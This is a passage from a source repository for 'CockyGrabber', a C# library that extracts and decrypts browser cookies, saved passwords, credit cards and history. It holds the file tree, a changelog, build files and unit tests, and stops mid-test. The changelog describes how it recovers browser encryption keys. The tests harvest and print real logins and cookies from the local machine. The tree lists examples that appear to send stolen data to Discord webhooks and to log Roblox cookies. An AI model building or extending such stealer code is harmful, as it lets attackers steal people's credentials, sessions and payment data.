├── Changelog.MD ├── CockyGrabber ├── .gitignore ├── CockyGrabber.Test │ ├── App.config │ ├── CockyGrabber.Test.csproj │ ├── Globals.cs │ ├── Models │ │ └── Empty │ │ │ ├── EmptyBlinkGrabber.cs │ │ │ └── EmptyGeckoGrabber.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── Tests │ │ └── GrabberTests │ │ │ ├── EmptyGrabberTests.cs │ │ │ └── GrabberTests.cs │ ├── Tools.cs │ └── packages.config ├── CockyGrabber.sln └── CockyGrabber │ ├── App.config │ ├── CockyGrabber.csproj │ ├── EngineGrabbers │ ├── BlinkGrabber.cs │ └── GeckoGrabber.cs │ ├── Exceptions │ ├── GrabberError.cs │ └── GrabberException.cs │ ├── Grabbers │ ├── BraveGrabber.cs │ ├── ChromeGrabber.cs │ ├── EdgeGrabber.cs │ ├── FirefoxGrabber.cs │ ├── OperaGrabber.cs │ ├── OperaGxGrabber.cs │ ├── UniversalGrabber.cs │ └── VivaldiGrabber.cs │ ├── Models │ ├── Blink │ │ ├── Bookmark.cs │ │ ├── Cookie.cs │ │ ├── CreditCard.cs │ │ ├── Download.cs │ │ ├── Form.cs │ │ ├── Login.cs │ │ └── Site.cs │ └── Gecko │ │ ├── Bookmark.cs │ │ ├── Cookie.cs │ │ ├── CreditCard.cs │ │ ├── Download.cs │ │ ├── Form.cs │ │ ├── Login.cs │ │ └── Site.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── Utility │ ├── Cryptography │ │ ├── Aes256GcmDecryptor.cs │ │ ├── BlinkDecryptor.cs │ │ ├── BouncyCastle │ │ │ ├── AeadParameters.cs │ │ │ ├── AesEngine.cs │ │ │ ├── Arrays.cs │ │ │ ├── BasicGcmExponentiator.cs │ │ │ ├── Bits.cs │ │ │ ├── Check.cs │ │ │ ├── GcmBlockCipher.cs │ │ │ ├── GcmUtilities.cs │ │ │ ├── IAeadBlockCipher.cs │ │ │ ├── IAeadCipher.cs │ │ │ ├── IBlockCipher.cs │ │ │ ├── ICipherParameters.cs │ │ │ ├── IGcmExponentiator.cs │ │ │ ├── IGcmMultiplier.cs │ │ │ ├── KeyParameter.cs │ │ │ ├── Longs.cs │ │ │ ├── Pack.cs │ │ │ ├── ParametersWithIV.cs │ │ │ └── Tables4kGcmMultiplier.cs │ │ ├── DPAPI.cs │ │ └── GeckoDecryptor.cs │ ├── DynamicJsonConverter.cs │ ├── Time.cs │ └── Tools.cs │ └── packages.config ├── Examples ├── CookiePrinter.cs ├── DiscordNetWebhookChromeGrabber.cs ├── DiscordWebhookChromeGrabber.cs ├── HistoryPrinter.cs ├── LoginLogger.cs └── RobloxCookieLogger.cs ├── LICENSE ├── README.md └── docs ├── home.md ├── resources ├── CG_Logo-small.png └── CG_Logo.png └── usage.md /Changelog.MD: -------------------------------------------------------------------------------- 1 | # 2.4.0 2 | 3 | ## Additions 4 | 5 | 6 | * Added a Nuget Package 7 | * Added a `ToJson()` method to all browser information classes (`Cookie`, `Login`, `Bookmark`, ...) that serializes the class into a JSON string 8 | * Added Unit Tests for the different browser grabber classes. 9 | * It's now possible to retrieve the form history and saved credit cards from browsers (for now, credit cards only from Blink-based browsers). 10 | * CockyGrabber does now support the gathering of data on multiple blink browser profiles. 11 | * The `BlinkGrabber` and `GeckoGrabber` classes now have two methods for each browser information that check if the related file that stores that information exists: `[name of the data]Exist(string)` and `Any[name of the data]Exist()` (e. g: `CookiesExist(string)` and `AnyCookiesExist()`). The former returns a bool indicating if the, to the information corresponding, file of a specified browser profile exists, and the latter returns a bool indicating if that file exists on any browser profile (given that the browser supports having different profiles). 12 | * Added a `SameSiteType` enum in each of the Blink and Gecko cookie model classes, replacing the return type of the `SameSite` fields. 13 | 14 | ## Improvements 15 | 16 | * Browser file paths are now dynamic (they now use `Environment.GetFolderPath(Appdata)` instead of `C:\\Users\\{Environment.UserName}\\AppData...`) and support other drive letters than `C:\` 17 | * Improved the `UniversalGrabber` Get-methods by using `Parallel.ForEach` instead of `foreach` making them faster by a **LOT**. 18 | * Changed the `GetKey()` method of the `BlinkGrabber` to virtual so that the user can overwrite it. 19 | * Fixed a bug in the `GetKey()` method of the `BlinkGrabber` class that caused it to crash when the JSON object `os_crypt`, which stores the value `encrypted_key`, contained other values than `encrypted_key`. *(Changed regex expression from `\"os_crypt\"\\s*:\\s*{\\s*\"encrypted_key\"\\s*:\\s*\".*?\"\\s*}` to `\"os_crypt\"\s*:\s*\{\s*.*?(?=\"encrypted_key)\"encrypted_key\"\s*:\s*\"(?.*?)\"\s*\}`)* 20 | * The Universal `GetAllBlink...()` methods are now checking if the related file and the `Local State` file, which stores the key, exist before grabbing the information to avoid any errors 21 | * Fixed the wrong expiry dates in the `GetGeckoCookies()` & `GetGeckoCookiesBy()` methods (Their cookie expiry dates used to always be: `01.01.1970 00:00:00 +00:00`) 22 | * Some variables have been renamed to make them more readable 23 | * The arrays which contain the browser classes in the `UniversalGrabber` (`BlinkGrabbers[]` and `GeckoGrabbers[]`) are now public instead of private so that the user can change them if needed (e.g. to add a new browser) 24 | * The Timestamp conversion methods like `UnixTimeInMillisecondsToDate(milliSeconds)` or `WebkitTimeStampToDateTime(microSeconds)` in the EngineGrabbers have been moved to the new `Time` class in the `Utility` namespace 25 | * Some paths in the grabber classes (e.g: `BraveGrabber`; `ChromeGrabber`; `OperaGrabber`) have changed 26 | 27 | # 2.3.0 28 | 29 | ## Additions 30 | 31 | * Added a custom implementation of the BouncyCastle library for value decryption making the use of the external library obsolete 32 | * System.Security.Cryptography.ProtectedData is not being used anymore because of the new way of extracting the blink master key from `Local State` 33 | * Added History, Downloads and Bookmark grabbing 34 | * Item-classes like `Cookie`, `Login`, and `Site` can now be converted into strings with the `ToString()` method. On conversion, the `ToString()` method will return only the most important information 35 | 36 | ## Improvements 37 | 38 | * Improved the GetKey() Method of the `BlinkGrabber` class 39 | * Improved the Get Methods 40 | * Improved the `UniversalGrabber` 41 | 42 | # 2.2.0 43 | 44 | ## Additions 45 | 46 | * `Chromium` changed to `Blink`, and `Firefox` changed to `Gecko` 47 | * Added `BlinkGrabber` and `GeckoGrabber` which replace `ChromeGrabber` and `FirefoxGrabber` 48 | * Added Firefox Login Decryption 49 | * Added `GrabberException` which replaces `CookieDatabaseNotFoundException`, `LoginDatabaseNotFoundException`, and `LocalStateNotFoundException` 50 | 51 | ## Improvements 52 | 53 | * Fixed the bug where you couldn't call the Method `GetAllChromiumCookies()` with the UniversalGrabber without it throwing an exception when at least one of the Browsers was not installed (same thing goes for `GetAllChromiumLogins()` and their Get-By equvalents) 54 | * Moved the documentation from Readme.md to the Github Wiki 55 | * Added support for mutliple Profiles on gecko based browsers like Firefox 56 | * Changed Timestamps from `long` to `DateTimeOffset` 57 | * Improved the use of the `DynamicJsonConverter` 58 | 59 | # 2.1.0 60 | 61 | ## Additions 62 | 63 | * Added Changelog _(Changelog.MD)_ 64 | * A custom JavaScriptConverter for JSON deserialization has been added, making the use of the Newtonsoft.JSON library obsolete 65 | * Added a MIT license 66 | * Added the `UniversalGrabber()` class which can grab multiple items at once 67 | * Added custom exceptions: `CookieDatabaseNotFoundException()`, `LocalStateNotFoundException()`, `LoginDatabaseNotFoundException()` 68 | 69 | ## Improvements 70 | 71 | * Get() functions now trigger the new custom exceptions when an error occurs 72 | -------------------------------------------------------------------------------- /CockyGrabber/.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/CockyGrabber.Test.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | Debug 8 | AnyCPU 9 | {0BFF3501-EFFF-477A-ACAE-67F79129007D} 10 | Library 11 | Properties 12 | CockyGrabber.Test 13 | CockyGrabber.Test 14 | v4.8 15 | 512 16 | {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} 17 | 15.0 18 | $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) 19 | $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages 20 | False 21 | UnitTest 22 | 23 | 24 | 25 | 26 | 27 | true 28 | full 29 | false 30 | bin\Debug\ 31 | DEBUG;TRACE 32 | prompt 33 | 4 34 | x64 35 | 36 | 37 | pdbonly 38 | true 39 | bin\Release\ 40 | TRACE 41 | prompt 42 | 4 43 | x64 44 | 45 | 46 | 47 | False 48 | ..\CockyGrabber\bin\Debug\CockyGrabber.dll 49 | 50 | 51 | ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll 52 | 53 | 54 | ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll 55 | 56 | 57 | ..\packages\MSTest.TestFramework.2.2.7\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.dll 58 | 59 | 60 | ..\packages\MSTest.TestFramework.2.2.7\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll 61 | 62 | 63 | 64 | 65 | 66 | ..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.115.5\lib\net46\System.Data.SQLite.dll 67 | 68 | 69 | ..\packages\System.Data.SQLite.EF6.1.0.115.5\lib\net46\System.Data.SQLite.EF6.dll 70 | 71 | 72 | ..\packages\System.Data.SQLite.Linq.1.0.115.5\lib\net46\System.Data.SQLite.Linq.dll 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | Dieses Projekt verweist auf mindestens ein NuGet-Paket, das auf diesem Computer fehlt. Verwenden Sie die Wiederherstellung von NuGet-Paketen, um die fehlenden Dateien herunterzuladen. Weitere Informationen finden Sie unter "http://go.microsoft.com/fwlink/?LinkID=322105". Die fehlende Datei ist "{0}". 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/Globals.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Grabbers; 2 | using System; 3 | 4 | namespace CockyGrabber.Test 5 | { 6 | public static class Globals 7 | { 8 | public static UniversalGrabber UG = new UniversalGrabber(); 9 | 10 | public static Random Rnd = new Random(); 11 | } 12 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/Models/Empty/EmptyBlinkGrabber.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Grabbers; 2 | 3 | namespace CockyGrabber.Test.Models.Empty 4 | { 5 | public class EmptyBlinkGrabber : BlinkGrabber 6 | { 7 | public override string DataRootPath 8 | { 9 | get 10 | { 11 | string dir = Tools.GetAnyBlinkBrowser().Profiles[0]; 12 | dir = dir.Remove(dir.LastIndexOf('\\')); 13 | return dir; 14 | } 15 | } 16 | public override string LocalStatePath 17 | { 18 | get 19 | { 20 | return @"\Lorem Ipsum\Fake Path"; 21 | } 22 | } 23 | public override string CookiePath 24 | { 25 | get 26 | { 27 | return @"\Lorem Ipsum\Fake Path"; 28 | } 29 | } 30 | public override string LoginDataPath 31 | { 32 | get 33 | { 34 | return @"\Lorem Ipsum\Fake Path"; 35 | } 36 | } 37 | public override string HistoryPath 38 | { 39 | get 40 | { 41 | return @"\Lorem Ipsum\Fake Path"; 42 | } 43 | } 44 | public override string BookmarkPath 45 | { 46 | get 47 | { 48 | return @"\Lorem Ipsum\Fake Path"; 49 | } 50 | } 51 | public override string WebDataPath 52 | { 53 | get 54 | { 55 | return @"\Lorem Ipsum\Fake Path"; 56 | } 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/Models/Empty/EmptyGeckoGrabber.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Grabbers; 2 | 3 | namespace CockyGrabber.Test.Models.Empty 4 | { 5 | public class EmptyGeckoGrabber : GeckoGrabber 6 | { 7 | public override string ProfileDirPath 8 | { 9 | get 10 | { 11 | return string.Empty; 12 | } 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | [assembly: AssemblyTitle("CockyGrabber.Test")] 6 | [assembly: AssemblyDescription("")] 7 | [assembly: AssemblyConfiguration("")] 8 | [assembly: AssemblyCompany("")] 9 | [assembly: AssemblyProduct("CockyGrabber.Test")] 10 | [assembly: AssemblyCopyright("Copyright © 2022")] 11 | [assembly: AssemblyTrademark("")] 12 | [assembly: AssemblyCulture("")] 13 | 14 | [assembly: ComVisible(false)] 15 | 16 | [assembly: Guid("0bff3501-efff-477a-acae-67f79129007d")] 17 | 18 | // [assembly: AssemblyVersion("1.0.*")] 19 | [assembly: AssemblyVersion("1.0.0.0")] 20 | [assembly: AssemblyFileVersion("1.0.0.0")] 21 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/Tests/GrabberTests/EmptyGrabberTests.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.VisualStudio.TestTools.UnitTesting; 2 | using System; 3 | using CockyGrabber.Test.Models.Empty; 4 | using static CockyGrabber.Test.Tools; 5 | 6 | namespace CockyGrabber.Test.Tests.GrabberTests 7 | { 8 | [TestClass] 9 | public class EmptyGrabberTests 10 | { 11 | [TestMethod] 12 | public void TestBlinkLocalStateNotFound() 13 | { 14 | try 15 | { 16 | EmptyBlinkGrabber g = new EmptyBlinkGrabber(); 17 | g.GetKey(); 18 | Assert.Fail(); 19 | } 20 | catch (GrabberException e) 21 | { 22 | Assert.AreEqual(e.Error, GrabberError.LocalStateNotFound); 23 | } 24 | catch (Exception e) 25 | { 26 | Console.WriteLine(e); 27 | } 28 | } 29 | [TestMethod] 30 | public void TestBlinkCookiesNotFound() 31 | { 32 | try 33 | { 34 | EmptyBlinkGrabber g = new EmptyBlinkGrabber(); 35 | g.GetCookies(GetKeyFromAnyBlinkBrowser()); 36 | Assert.Fail(); 37 | } 38 | catch (GrabberException e) 39 | { 40 | Assert.AreEqual(e.Error, GrabberError.CookiesNotFound); 41 | } 42 | catch (Exception e) 43 | { 44 | Console.WriteLine(e); 45 | } 46 | } 47 | [TestMethod] 48 | public void TestBlinkLoginsNotFound() 49 | { 50 | try 51 | { 52 | EmptyBlinkGrabber g = new EmptyBlinkGrabber(); 53 | g.GetLogins(GetKeyFromAnyBlinkBrowser()); 54 | Assert.Fail(); 55 | } 56 | catch (GrabberException e) 57 | { 58 | Assert.AreEqual(e.Error, GrabberError.LoginsNotFound); 59 | } 60 | catch (Exception e) 61 | { 62 | Console.WriteLine(e); 63 | } 64 | } 65 | 66 | 67 | [TestMethod] 68 | public void TestGeckoProfilesNotFound() 69 | { 70 | try 71 | { 72 | EmptyGeckoGrabber g = new EmptyGeckoGrabber(); 73 | Assert.Fail(); 74 | } 75 | catch (GrabberException e) 76 | { 77 | Assert.AreEqual(e.Error, GrabberError.ProfilesNotFound); 78 | } 79 | catch (Exception e) 80 | { 81 | Console.WriteLine(e); 82 | } 83 | } 84 | } 85 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/Tests/GrabberTests/GrabberTests.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.VisualStudio.TestTools.UnitTesting; 2 | using System.Linq; 3 | using CockyGrabber.Grabbers; 4 | using System; 5 | 6 | namespace CockyGrabber.Test.Tests.GrabberTests 7 | { 8 | [TestClass] 9 | public class GrabberTests 10 | { 11 | private BlinkGrabber _blinkGrabber; 12 | private GeckoGrabber _geckoGrabber; 13 | 14 | [TestInitialize] 15 | public void Setup() 16 | { 17 | _blinkGrabber = Tools.GetAnyBlinkBrowser(); 18 | _geckoGrabber = Tools.GetAnyGeckoBrowser(); 19 | } 20 | 21 | #region GetBookmarks() Tests 22 | [TestMethod] 23 | public void TestBlinkGrabberGetBookmarks() 24 | { 25 | Console.WriteLine($"[Testing with {_blinkGrabber.GetType().Name}]"); 26 | if (!_blinkGrabber.AnyBookmarksExist()) 27 | { 28 | Assert.Fail(); 29 | return; 30 | } 31 | var x = _blinkGrabber.GetBookmarks(); 32 | Assert.IsTrue(x.Count() > 0, "Bookmarks couldn't be grabbed!"); 33 | Console.WriteLine(x.GetRandom()); 34 | } 35 | [TestMethod] 36 | public void TestGeckoGrabberGetBookmarks() 37 | { 38 | Console.WriteLine($"[Testing with {_geckoGrabber.GetType().Name}]"); 39 | var x = _geckoGrabber.GetBookmarks(); 40 | Assert.IsTrue(x.Count() > 0, "Bookmarks couldn't be grabbed!"); 41 | Console.WriteLine(x.GetRandom()); 42 | } 43 | #endregion 44 | 45 | #region GetDownloads() Tests 46 | [TestMethod] 47 | public void TestBlinkGrabberGetDownloads() 48 | { 49 | Console.WriteLine($"[Testing with {_blinkGrabber.GetType().Name}]"); 50 | if (!_blinkGrabber.AnyDownloadsExist()) 51 | { 52 | Assert.Fail(); 53 | return; 54 | } 55 | var x = _blinkGrabber.GetDownloads(); 56 | Assert.IsTrue(x.Count() > 0, "Downloads couldn't be grabbed!"); 57 | Console.WriteLine(x.GetRandom()); 58 | } 59 | [TestMethod] 60 | public void TestGeckoGrabberGetDownloads() 61 | { 62 | Console.WriteLine($"[Testing with {_geckoGrabber.GetType().Name}]"); 63 | var x = _geckoGrabber.GetDownloads(); 64 | Assert.IsTrue(x.Count() > 0, "Downloads couldn't be grabbed!"); 65 | Console.WriteLine(x.GetRandom()); 66 | } 67 | #endregion 68 | 69 | #region GetHistory() Tests 70 | [TestMethod] 71 | public void TestBlinkGrabberGetHistory() 72 | { 73 | Console.WriteLine($"[Testing with {_blinkGrabber.GetType().Name}]"); 74 | if (!_blinkGrabber.AnyHistoryExists()) 75 | { 76 | Assert.Fail(); 77 | return; 78 | } 79 | var x = _blinkGrabber.GetHistory(); 80 | Assert.IsTrue(x.Count() > 0, "History couldn't be grabbed!"); 81 | Console.WriteLine(x.GetRandom()); 82 | } 83 | [TestMethod] 84 | public void TestGeckoGrabberGetHistory() 85 | { 86 | Console.WriteLine($"[Testing with {_geckoGrabber.GetType().Name}]"); 87 | var x = _geckoGrabber.GetHistory(); 88 | Assert.IsTrue(x.Count() > 0, "History couldn't be grabbed!"); 89 | Console.WriteLine(x.GetRandom()); 90 | } 91 | #endregion 92 | 93 | #region GetLogins() Tests 94 | [TestMethod] 95 | public void TestBlinkGrabberGetLogins() 96 | { 97 | Console.WriteLine($"[Testing with {_blinkGrabber.GetType().Name}]"); 98 | if (!_blinkGrabber.AnyLoginsExist()) 99 | { 100 | Assert.Fail(); 101 | return; 102 | } 103 | var x = _blinkGrabber.GetLogins(); 104 | Assert.IsTrue(x.Count() > 0, "Logins couldn't be grabbed!"); 105 | Console.WriteLine(x.GetRandom()); 106 | } 107 | [TestMethod] 108 | public void TestGeckoGrabberGetLogins() 109 | { 110 | Console.WriteLine($"[Testing with {_geckoGrabber.GetType().Name}]"); 111 | var x = _geckoGrabber.GetLogins(); 112 | Assert.IsTrue(x.Count() > 0, "Logins couldn't be grabbed!"); 113 | Console.WriteLine(x.GetRandom()); 114 | } 115 | #endregion 116 | 117 | #region GetCookies() Tests 118 | [TestMethod] 119 | public void TestBlinkGrabberGetCookies() 120 | { 121 | Console.WriteLine($"[Testing with {_blinkGrabber.GetType().Name}]"); 122 | if (!_blinkGrabber.AnyCookiesExist()) 123 | { 124 | Assert.Fail(); 125 | return; 126 | } 127 | var x = _blinkGrabber.GetCookies(); 128 | Assert.IsTrue(x.Count() > 0, "Cookies couldn't be grabbed!"); 129 | Console.WriteLine(x.GetRandom()); 130 | } 131 | [TestMethod] 132 | public void TestGeckoGrabberGetCookies() 133 | { 134 | Console.WriteLine($"[Testing with {_geckoGrabber.GetType().Name}]"); 135 | var x = _geckoGrabber.GetCookies(); 136 | Assert.IsTrue(x.Count() > 0, "Cookies couldn't be grabbed!"); 137 | Console.WriteLine(x.GetRandom()); 138 | } 139 | #endregion 140 | 141 | #region GetFormHistory() Tests 142 | [TestMethod] 143 | public void TestBlinkGrabberGetFormHistory() 144 | { 145 | Console.WriteLine($"[Testing with {_blinkGrabber.GetType().Name}]"); 146 | if (!_blinkGrabber.AnyWebDataExists()) 147 | { 148 | Assert.Fail(); 149 | return; 150 | } 151 | var x = _blinkGrabber.GetFormHistory(); 152 | Assert.IsTrue(x.Count() > 0, "FormHistory couldn't be grabbed!"); 153 | Console.WriteLine(x.GetRandom()); 154 | } 155 | [TestMethod] 156 | public void TestGeckoGrabberGetFormHistory() 157 | { 158 | Console.WriteLine($"[Testing with {_geckoGrabber.GetType().Name}]"); 159 | var x = _geckoGrabber.GetFormHistory(); 160 | Assert.IsTrue(x.Count() > 0, 